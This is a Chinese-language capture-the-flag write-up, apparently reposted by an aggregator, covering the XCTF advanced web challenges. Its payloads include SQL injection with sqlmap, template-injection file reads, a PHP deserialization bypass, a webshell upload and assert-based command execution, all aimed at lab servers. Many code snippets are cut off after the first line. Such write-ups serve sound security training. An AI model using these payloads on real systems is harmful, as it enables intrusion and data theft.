攻防世界-高手进阶区-Web部分-WriteUP
source link: https://iamywang.github.io/2020/adworld-web/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x01 baby_web
直接看F12,就能找到flag。
0x02 Training-WWW-Robots
robots协议,直接访问robots.txt。
然后找到flag。
0x03 php_rce
thinkphp的RCE漏洞。
https://xz.aliyun.com/t/3845\
https://cloud.tencent.com/developer/article/1512547\
0x04 Web_php_include
<?php |
直接开搞,大小写绕过
看到flag,cat出来看看
<?php |
0x05 ics-06
index.php可以传参,还写着送分题
爆破id,id=2333时拿flag
flag: cyberpeace{d18779aa24d5f4b51d1e9ebe6a247a53}
0x06 warmup
<?php |
传参file,而且看到一个hint.php,试试看
"hint"=>"hint.php" |
flag不在hint
不过注意到必须要有hint或者source才能通过,不过还发现截取有问题\
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); |
构造出来拿flag
0x07 NewsCenter
很明显sql注入
先burp抓包存下请求:
sqlmap找表:
sqlmap -r ncenter --dbs |
找到两个表:
available databases [2]: |
继续深入:
sqlmap -r ncenter -D news --dump |
在news中找到flag:
Database: news |
0x08 Web_python_template_injection
http://111.198.29.45:48124/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D |
flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
0x09 Web_php_unserialize
function __wakeup() { |
两个绕过,所以这样构造:
$A = new Demo('fl4g.php'); |
$flag=”ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}”;
0x10 NaNNaNNaNNaN-Batman
乱码,看到最后的eval,联想之前看的欢乐时光病毒,改成了alert。
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script> |
然后就拿到了源码。
function $(){ |
然后看到判定了长度以及一些字符串,非常简单,输入b0ef233ac7be98aa即可。
flag: flag{it’s_a_h0le_in_0ne}
0x11 PHP2
代码泄露,http://111.198.29.45:57978/index.phps。
<?php |
但是发现不能直接用admin,要通过url编码转换。
admin –> a%2564min
Access granted! |
0x12 unserialize3
一段残缺的代码,要传入的参数是code。
class xctf{ |
可以先尝试new一个实例看看。
$t = new xctf(); |
很明显返回的bad requests。应该避免执行那个wakeup函数。
查到的资料:https://bugs.php.net/bug.php?id=72663\
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
O:4:"xctf":3:{s:4:"flag";s:3:"111";} |
0x13 upload1
上传一个文件,进行抓包。
尝试进行一句话木马。
upload success : upload/1586441159.1.php |
蚁剑连接,拿flag。
0x14 supersqli
sql注入,随便注。
1'; show tables;-- |
拿到所有表。
array(1) { |
HANDLE语句:
HANDLER ... OPEN语句会打开一个表,使其能够用后续的HANDLER ... READ语句访问。这个不能和其他会话共享直到HANDLER ... CLOSE或会话关闭。 |
1'; |
flag:
array(1) { |
0x15 easytornado
flag.txt中:
flag in /fllllllllllllag |
hints中:
md5(cookie_secret+md5(filename)) |
传两个参数,一个是filename,另一个是这个md5。
因此实际上就是:
filename=/fllllllllllllag |
SSTI注入:
http://159.138.137.79:51650/error?msg={{handler.settings}} |
这样得到filehash,从而拿flag:
filehash=d7a271c78916db6de35bc157fac1363b |
0x16 lottery
彩票系统,源码泄露:
python2 GitHack.py http://159.138.137.79:49428/.git/ |
找到api.php处存在漏洞:
if($numbers[$i] == $win_numbers[$i]){ |
php弱类型比较,所以传参的时候,给他利用一下:
{"action":"buy", "numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true}} |
返回结果是这样的:
{"status":"ok","numbers":[true,true,true,true,true,true,true],"win_numbers":"8851836","money":15401806,"prize":5000000} |
flag:
cyberpeace{6af0b4ebf4c625c6ababcfa41f673b49} |
0x17 mfw
php代码泄露,传参page:
// I heard '..' is dangerous! |
这里有一个assert,尝试从这突破:
?page=').system("cat templates/flag.php");// |
直接拿flag:
<!--?php $FLAG="cyberpeace{c4641d834ad80134d88d40e437d868ea}"; ?--> |
0x18 web2
PHP代码逆向:
<?php |
反着逆回去就行:
<?php |
flag:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977} |
0x19 shrine
Flask:
import flask |
从源码可以看出:路径在/shrine/下、黑名单过滤config,self、所有的()都替换成空格
尝试get_flashed_messages()函数:
http://159.138.137.79:54847/shrine/{{get_flashed_messages.__globals__['current_app']}} |
flag:
flag{shrine_is_good_ssti} |
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK